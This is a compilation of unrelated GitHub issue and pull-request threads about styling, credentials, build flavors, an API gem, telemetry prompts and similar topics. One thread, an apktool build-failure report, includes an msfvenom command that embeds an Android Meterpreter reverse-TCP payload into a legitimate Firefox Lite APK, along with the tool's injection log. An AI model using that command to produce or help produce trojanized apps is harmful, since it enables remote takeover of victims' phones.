Can you please elaborate the issue?

We need to change the background of the output screen with other styles of pages. Check out doc2pen.smaranjitghose.codes/editor

Can I work on this issue?

Can I work on this issue?

@smaranjitghose I'd like to work on this issue if it's available.

@smaranjitghose I'd like to work on this issue if it's available.

@smaranjitghose please review my pull request #430

@smaranjitghose please review my pull request #430


add skip extra credential on google credential

If you use GCP service like cloud RUN, you don't have to set extra credential.
Not to registering extra credential is also good for security point of view.
Thus I implement Skip button on google credential.
If you ON this bottom, Flowise use Vertex AI without credential setting.
if you feel good, please merge it after #823
BTW : since I added button on credential, I add the same code for validate input of credential for a couple of place. but if this validate can do with credential.ts, I think architecture would be clear and not to lead mis-coding
like I proposed on Discord

hey I'm confused, do you mean its optional to use credential for Vertex? Do you have any link to docs, or step by step guide etc? If its optional, we don't have to include this switch on/off button, instead you can just use optional like for Zep node

@HenryHengZJ

do you mean its optional to use credential for Vertex?

Yes. If we use GCP service like cloud run or if we install default credential on  local machine, credential is Optional
I think this is one of the document which descrive credential

If its optional, we don't have to include this switch on/off button, instead you can just use optional like for Zep node

oh sorry simply I didn't know credential can be optional.
as your propose, Optional credential make much more sense to me.
I will modify the code like your propose.

@HenryHengZJ I updated!
so could you review it?
thanks!

thanks for the change! I think we can close the PR on docs (https://github.com/FlowiseAI/FlowiseDocs/pull/26) ?

Yes!
I will close it!
thank you!!

Hi @HenryHengZJ
if there are no problem, could you merge this PR?
Thanks in advance!

sorry for the delay!

Perfect!
thank you!


[BUG] Application Crashes on School Wi-Fi

Note

Bug imported from Google Forms, initial author: Joseph Hogan

Describe the bug
The application crashes on school Wi-Fi
To Reproduce

Go to School
Launch the Application
See error

Expected behavior
The application should not crash

I seem to be having an issue when compiling in Android Studio, there seems to be something wrong with the code in the 4u paper. It may be something wrong on my end, but could you take a look?

Just tested, and it does crash, rendering it basically useless unless you have data..
Maybe because the API is blocked because of the DET proxy? Because it also crashes if you don't have wifi.

This is a known issue, hence the existence of this issue. It will be fixed in the next release of the application.


Auto-hide tweaks

A bit too hard to trigger, & don't want to wait a 1/3 of a second to get things done :).
Maybe too fast, I'm OK with 146ms.
I tried to edit locally, but seems a refresh only works for CSS, not JS.  (Rendered into JS & hidden somewhere on install?)

@tomByrer Thank you for your Impressive work! But sorry I may not accept this PR directly because I'm trying to add configs for animation speed, panel width and font size.
I wish you could understand, thanks!


Adding flavors and loading right .env file

PR for https://github.com/BasedHardware/Friend/issues/297.
Remember to run:

flutter clean
flutter pub get
flutter pub run build_runner build

The app icon is the one automatically generated by flutter_flavorizr. Consider updating them with env-specific icons (For instance with a badge).

We should make these three commands into a script
$ flutter clean
$ flutter pub get
$ flutter pub run build_runner build

Since they are run all the time

Closing this PR as this was assigned before on #306


Provide reference .rtf files + fonts

While porting SDL_rtf to SDL3, it would have been useful to have reference .rtf files and fonts available in this repository.
If copyright prevents this, perhaps easy instruction about how to obtain these would be useful as well.
But some googling around showed me there do exist fonts in the public domain.

There is at least this rtf file from SDL-1.2 tree, which should really be free: https://github.com/libsdl-org/SDL-1.2/blob/main/Xcode/SDL/pkg-support/resources/License.rtf

Also, linuxdoc-tools can output to rtf using sgml2rtf

The thing is showrtf expects the user to pass a few fonts:
https://github.com/libsdl-org/SDL_rtf/blob/b42410aa17e9e2b4c73532273d93906a200bd654/showrtf.c#L167
Perhaps we need to add a font enumeration api to SDL_ttf instead (using Fontconfig on Linux)


Error:unable to rebuilt apk with apktool

i am using msfvenom and  apktool to decompilehe apk bbut its failing.my apktool is updated
please donot close thisissue without aproper reason i

root@kali:~/Desktop# msfvenom -x /root/Desktop/firefox-lite-2-1-17-19420.apk -p android/meterpreter/reverse_tcp LHOST=192.###.#.## LPORT=4444 -o /root/Desktop/FirefoxLite.apk
Using APK template: /root/Desktop/firefox-lite-2-1-17-19420.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[] Creating signing key and keystore..
[] Decompiling original APK..
[] Decompiling payload APK..
[] Locating hook point..
[] Adding payload as package org.mozilla.rocket.kxiib
[] Loading /tmp/d20200525-1601-1igfdqr/original/smali/org/mozilla/focus/FocusApplication.smali and injecting payload..
[] Poisoning the manifest with meterpreter permissions..
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Rebuilding apk with meterpreter injection as /tmp/d20200525-1601-1igfdqr/output.apk
[-] I: Using Apktool 2.4.1
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
I: Checking whether resources has changed...
I: Building resources...
W: invalid resource directory name: /tmp/d20200525-1601-1igfdqr/original/res navigation
brut.androlib.AndrolibException: brut.common.BrutException: could not exec (exit code = 1): [/tmp/brut_util_Jar_1725102245262406126.tmp, p, --forced-package-id, 127, --min-sdk-version, 21, --target-sdk-version, 28, --version-code, 19420, --version-name, 2.1.17(19420), --no-version-vectors, -F, /tmp/APKTOOL10568417922239597788.tmp, -e, /tmp/APKTOOL10958845845234411674.tmp, -0, arsc, -I, /root/.local/share/apktool/framework/1.apk, -S, /tmp/d20200525-1601-1igfdqr/original/res, -M, /tmp/d20200525-1601-1igfdqr/original/AndroidManifest.xml]
Error: Unable to rebuild apk with apktool
this is my command   please reply fast @iBotPeaches


Shopify::Order#shipping_price does not reflect true shipping value

Running shopify_api 4.0.7 I see the following behavior:
> params = {
  "shipping_lines"=>[{
      "price"=>"3.99",
  }]
}
#=> {"shipping_lines"=>[{"price"=>"3.99"}]}

> order = Shopify::Order.new(params)
#=> #<Shopify::Order:0x007f9eae917ec8 @shopify_order=#<OpenStruct shipping_lines=[{"price"=>"3.99"}]>>

> order.shipping_price
=> 3

> order.shipping_price.class
=> Fixnum

I'm not sure if this is the intended behavior, but given the method's name I would expect #shipping_price to return a value which reflects the total shipping price as a float, not a Fixnum.

Does the issue still happen if you save the object? I am a bit surprised you can even access shipping_price after using new with only a shipping_line. How does activeresource even know how to reach into that data

There is no #save method on Shopify::Order but tbh I would assume with the params I've given in the example it would be invalid. I've cut those down from the full params I got through in a webhook request from Shopify, in order to make the testcase a little cleaner!
My usecase is this:

customer places an order on shopify
webhook is setup to notify an endpoint in my application upon placing an order, with order params
I use these params to construct a Shopify::Order instance
I call methods on this instance to generate a report

Perhaps I am using the gem in an unusual way?

there is #save http://api.rubyonrails.org/v3.2.6/classes/ActiveResource/Base.html#method-i-save
That use case sounds fine - so passing the full contents of the webhook results in weird data for shipping_price?.
If you don't need to re-save the object back to Shopify you don't really need to create the ShopifyAPI::Order instance but it should still work.

Wait - there is your issue. Where does Shopify::Order come from? Thats not part of this gem. this Gem provided ShopifyAPI::Order

Ah, bingo! You are correct, the bug is on my end not the gem's. Thanks for spotting that @kevinhughes27, sorry for wasting your time with a poorly named class!

No worries!


Add read and write impl for Serial, Irq flags functions and RTIC example

Hi,
This pull request adds Read and Write implementations to Serial and few functions to work with Irq flags.
This needed to add more control under communicaiton flow and timing.
Also I added an example how to use this with RTIC. The example uses DIR pin when transmiting (like RS485).
PS: This is my first pull request ever :)

Hi,
thank you for the warm welcome!
I added additional commit to make rustfmt and clippy happy.
Actually I don't understand why clippy make me to change
init::LateResources {serial, dir}
to
init::LateResources {dir, serial}
the struct definition is
    struct Resources {         serial: SerialType,         dir: DirType,     }
so the "serial" field is the first.

This is pretty strange indeed. A wild guess: Maybe it has something to do with the rtic #[resources] proc-macro, which reorders the fields under the hood and this makes clippy complain?
I don't know. Would be worth looking into, but it does not really matter right now.
Thank you really much for your contribution. Nice PR! :+1:


Bluetooth: controller: Allow any valid ISO sync receiver BIG handle

The BIG handle for an ISO sync receiver is provided by the host. The valid range is [0x00..0xEF], and this requires the controller to allow non-consecutive handle numbering. This means that even if only one sync set is supported, a BIG handle of ex. value 2 must be supported.
As the code uses indexing and range checking directly by handle, this needs to be changed. Introducing the handle index, which sequnces the handles such that index = 0 is always the "first handle", regardless of value.

This implementation may need changes for architectural reasons. The concept works fine and does the job (qualification tests pass), but there may be a nicer way to have both handle and index of handle, without the need to call a look-up function in many places. Suggestions are welcome.

This implementation may need changes for architectural reasons. The concept works fine and does the job (qualification tests pass), but there may be a nicer way to have both handle and index of handle, without the need to call a look-up function in many places. Suggestions are welcome.

I think there is handle translation in hci for extended advertising sets, may be that can be reused here? Will review this PR in office tomorrow.


Make sure historical state events don't come down incremental /sync (MSC2716)

Part of MSC2716: https://github.com/matrix-org/matrix-doc/pull/2716
Related to https://github.com/matrix-org/synapse/issues/11241
Split off from https://github.com/matrix-org/complement/pull/221

Thanks for the review @kegsay 🐿


Does xlog has vulnerability similiar to log4j?

Hi
I'd like to know if the xlog contains the vulnerabilty similar to log4j?
I checked there is no file with jndi interface. but I'd like to get confirmed officially.
Thanks

Hi
I'd like to know if the xlog contains the vulnerabilty similar to log4j?
I checked there is no file with jndi interface. but I'd like to get confirmed officially.
Thanks

@dineshr93 No, it doesn't


[bug] when user aborts we need to clean up

This is a bit related to the first message in #124 which should address a ctrl + c user abort in one go rather than going through the rest of the prompts.
When user aborts for now we still end up potentially modifying their yamls which is a bit awkward and maybe even dangerous.
We should think of a way to kick in a clean up task which unmodifies what we have changed or we should hold off updates until we get a clear signal that the task has completed successfully. In a way it's actually a bit weird that we change users yamls as we go along but maybe there is no other way to do it especially for test addition but for this one we definitely have a way to clean up so I feel we should be able to do so for column descriptions as well as tags.
@virvirlopez what do you think?

I like the idea, I think that we should implement an exit command, every time that the user writes exit, it will save and exit the process. What do you think?

What do you mean by write user writes exit? @virvirlopez


docs(bpf_engine): add some docs and rename some variables

What type of PR is this?
/kind cleanup
/kind documentation
Any specific area of the project related to this PR?
/area libscap-engine-bpf
Does this PR require a change in the driver versions?
No
What this PR does / why we need it:
This PR adds some docs and renames some variables in the bpf engine
Which issue(s) this PR fixes:
Special notes for your reviewer:
Does this PR introduce a user-facing change?:
NONE

[APPROVALNOTIFIER] This PR is APPROVED
This pull-request has been approved by: Andreagit97
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

OWNERS [Andreagit97]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

LGTM label has been added.  Git tree hash: 7fb01af9eb0d34d072524f649092bd6df3dfab14

[APPROVALNOTIFIER] This PR is APPROVED
This pull-request has been approved by: Andreagit97, FedeDP
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

OWNERS [Andreagit97,FedeDP]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment


Mention the State of Telemetry during rasa init.

Description of Problem:
Users should be well aware of the new telemetry. In particular when a user runs rasa init it feels like they need to be, at the very least, reminded.
Current Flow
Currently there is no mention of telemetry.
(venv) ➜  rasa init
Welcome to Rasa! 🤖
To get started quickly, an initial project will be created.
If you need some help, check out the documentation at https://rasa.com/docs/rasa.
Now let's start! 👇🏽
? Please enter a path where the project will be created [default: current directory] folder-name
? Path '.folder-name' does not exist 🧐. Create path?  Yes
Created project directory at '/Users/vincent/Development/breakout-bot-s01/.omgomgomg'.
Finished creating project structure.
? Do you want to train an initial model? 💪🏽  No
No problem 👍🏼. You can also train a model later by going to the project directory and running 'rasa train'.

Proposed Flow
We might add the following statement to a user who does not have telemetry on.
Just so you know! You can share anonymous statistics with us.
It will help us make Rasa better. To do this run;

rasa telemetry enable

We might add the following statement to a user who does.
Just so you know! You're currently sharing anonymous statistics with us.
It helps us make Rasa better. Thanks! If you don't want to share data, run;

rasa telemetry disable

Hey there, @Henrike100, @lucasdutraf, and I would like to know if someone is already working on this issue. :D


add x86 version

just asking not forcing a x86 build for my friends

Dupe of #112. There are no official builds but if you have visual studio you can build it from source and select x86 as a build option.


2i2c-aws-us, showcase: Add gh-scoped-creds environment variables.

Set environment variables for gh-scoped-creds for the Community Showcase Hub following the instructions from the Infrastrucure Guide.
Public link for the GH App: 2i2c Community Showcase Hub.

Self merging as per https://infrastructure.2i2c.org/contributing/code-review/

:tada: nice!
I updated the title to reflect what [cluster, hub] was influenced as that is often relevant to keep track of from a high level view.

Thanks for that Erik, I'll make sure to do that in future 📝

@jnywong I just updated it again to cluster, hub:  to align with myself historically in this repo.
A practice to clarify what cluster/hub the PRs are about isn't established in documentation, something that would be relevant to do btw.

Haha yep it's on my list! I'll create an issue for this.


Getting JSON

Hi,
I am trying to use the library to get data from a website, via its API, which is returned in JSON form.
I read the documentation and if I understood correctly what I have to provide is a custom Body type along with its corresponding structures\algorithms for the reader and writer to pass to the message template.
Is that the correct approach? Or getting the body as a string and then parsing it accordingly would be enough. The examples are not clear on this type of situation. Maybe a small example on how to use Beast to build higher level libraries\abstractions would be helpful although I don't know if it would be feasible.
This might not be the place to ask this kind of questions so please let me know if I should direct this kind of inquiries someplace else.
Thanks

Or getting the body as a string and then parsing it accordingly would be enough

^^ That

let me know if I should direct this kind of inquiries someplace else.

You're in the right place!

Thank you!


代码疑问

ConvI
    self.qkv = nn.Conv2d(dim, dim * 3, kernel_size=1, bias=True)
    self.qkv_dwconv = nn.Conv2d(dim * 3, dim * 3, kernel_size=3, stride=1, padding=1, groups=dim * 3, bias=True)

B_, N, C = x.shape
ConvI
    temp = self.qkv_dwconv(self.qkv(x.permute(2,0,1))).permute(1,2,0)

我想请问为什么这里传入到卷积conv2d中的是（C,B,N）?不应该是4维的吗？

Thanks for your question. Have you ever read the related paper? You can find that the paragraph over equation (2) illustrates the details about the shape. In practical code, for an input tensor $(1, H/P * W/P, C)$ fed into the first STB, it will be multiple windows shape $(N: window_num, T^2: window_size^2, C)$ with Window Partition function. And I will update the code for more annotations for shape.

您好，我在尝试训练时也遇到了同样的问题，请问这里该如何修改呢？

谢谢您的解答

您好，请问这个问题是如何解决的呢，我现在不管是运行train还是eval都会报这样的错误
RuntimeError: Expected 4-dimensional input for 4-dimensional weight [96, 32, 1, 1], but got 3-dimensional input of size [32, 256, 64] instead

The 3-dimensional tensor feed a Conv2d
self.qkv = nn.Conv2d(dim, dim * 3, kernel_size=1, bias=True) B_, N, C = x.shape # x:(B,N,C) temp = self.qkv_dwconv(self.qkv(x.permute(2, 0, 1))).permute(1, 2, 0) -----------error----------------------- Expected 4-dimensional input for 4-dimensional weight [96, 32, 1, 1], but got 3-dimensional input of size [32, 256, 64] instead

Actually, I don't know what you mean? If you follow the right step, the error is a disappearance.

Thansk for you suggestion, I'' update the tip on README.md.


ENYO-1738 moon.ImageMultiRes is missing in Enyo 2.6

Add moon.ImageMultiRes kind.

Actually, less file is empty. I'm not sure we need this file or not.

enyo.Image is covering this feature. We don't need this.


Fix documentation

fix Webrix requires has peer dependencies for..
this can be changed to  Webrix has peer dependencies for..  , or Webrix requires peer dependencies for.

Thanks :)

:tada: This issue has been resolved in version 1.5.12 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket: